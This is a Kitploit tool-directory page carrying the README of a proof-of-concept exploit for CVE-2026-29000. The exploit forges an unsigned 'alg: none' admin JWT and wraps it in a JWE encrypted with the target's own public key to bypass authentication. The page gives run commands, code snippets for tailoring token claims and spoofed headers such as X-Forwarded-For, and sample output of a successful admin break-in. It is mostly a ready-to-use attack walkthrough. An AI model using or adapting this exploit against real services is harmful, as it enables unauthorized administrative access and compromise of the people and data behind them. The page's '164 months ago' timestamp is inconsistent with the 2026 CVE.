Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-29000 — PoC of the CVE-2026-29000 | Kitploit
Tools/GitHubGitHub/zf-tm/cve-2026-29000
Authentication & AuthorizationEncryption/Decryption ToolsVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubzf-tm/cve-2026-29000

CVE-2026-29000

PoC of the CVE-2026-29000

View Repository
164 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

JWT/JWE Authentication Bypass PoC

A Proof-of-Concept (PoC) script demonstrating an authentication bypass vulnerability using JSON Web Tokens (JWT) and JSON Web Encryption (JWE). This tool exploits environments that improperly validate token algorithms by accepting unverified JWTs (alg: none) wrapped inside a valid JWE structure.

How It Works

This exploit chain takes advantage of a common cryptographic implementation flaw:

  1. Key Extraction: The script reaches out to the target's publicly exposed jwks (JSON Web Key Set) endpoint and downloads the server's public RSA key.
  2. Token Forgery: It crafts a fake, unverified JWT payload granting ROLE_ADMIN privileges. It intentionally sets the algorithm header to "alg": "none".
  3. JWE Wrapping: To bypass initial security filters that might reject plaintext or unverified tokens, it encrypts the fake JWT using the server's own public key, packing it into a valid JWE.
  4. Authentication: The forged JWE is sent to the target's protected dashboard via the Authorization: Bearer header. If the server decrypts the JWE and blindly trusts the inner JWT without verifying its signature, access is granted.

Prerequisites

Before running the script, ensure you have Python 3 installed along with the necessary dependencies.

root@kitploit:~
pip install requests jwcrypto

Usage

The script requires two arguments: the target dashboard URL you want to test, and the URL where the public keys are hosted.

root@kitploit:~
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>

Customizing the Exploit

Depending on your target, you may need to tweak the token structure or the HTTP requests to bypass specific filters.

  1. Customizing the Internal JWT Headers & Payload

If the target server expects specific fields inside the JWT itself (like a typ header, or custom user IDs in the payload), you can easily add them.

Open exploit.py and locate this section:

root@kitploit:~
token_header_information = {
    "alg": "none"
}
root@kitploit:~
token_user_information = {
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}

You can add any fields you want separated by commas. For example, to add a typ (Type) and kid (Key ID) to the JWT header, and a custom email to the payload:

root@kitploit:~
token_header_information = {
    "alg": "none",
    "typ": "JWT",
    "kid": "my-custom-key-id"
}
root@kitploit:~
token_user_information = {
    "sub": "admin",
    "email": "[email protected]",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}
  1. Customizing HTTP Headers

If your target requires specific network headers (such as a custom User-Agent, bypass headers like X-Forwarded-For, or API keys), locate the network request at the bottom of the script:

root@kitploit:~
custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token
}

Add your extra network headers like this:

root@kitploit:~
custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token,
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "X-Forwarded-For": "127.0.0.1",
    "Accept": "application/json"
}

Note: If you also need these headers sent during the initial public key download, you can pass this same dictionary to the requests.get() call at the top of the script.

Expected Output

When successful, the script will output the forged token and the parsed response from the restricted endpoint, proving the bypass:

root@kitploit:~
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!

Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...

Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard

SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN

Troubleshooting

  • HTTP 401/403 Errors: The target server is properly validating signatures and rejecting the alg: none payload. The exploit failed because the target is secure.

  • Connection Errors: Ensure the URLs provided include the full scheme (http:// or https://) and that the target server is currently reachable.

  • Dependency Errors: Ensure jwcrypto is properly installed via pip.

Download Tool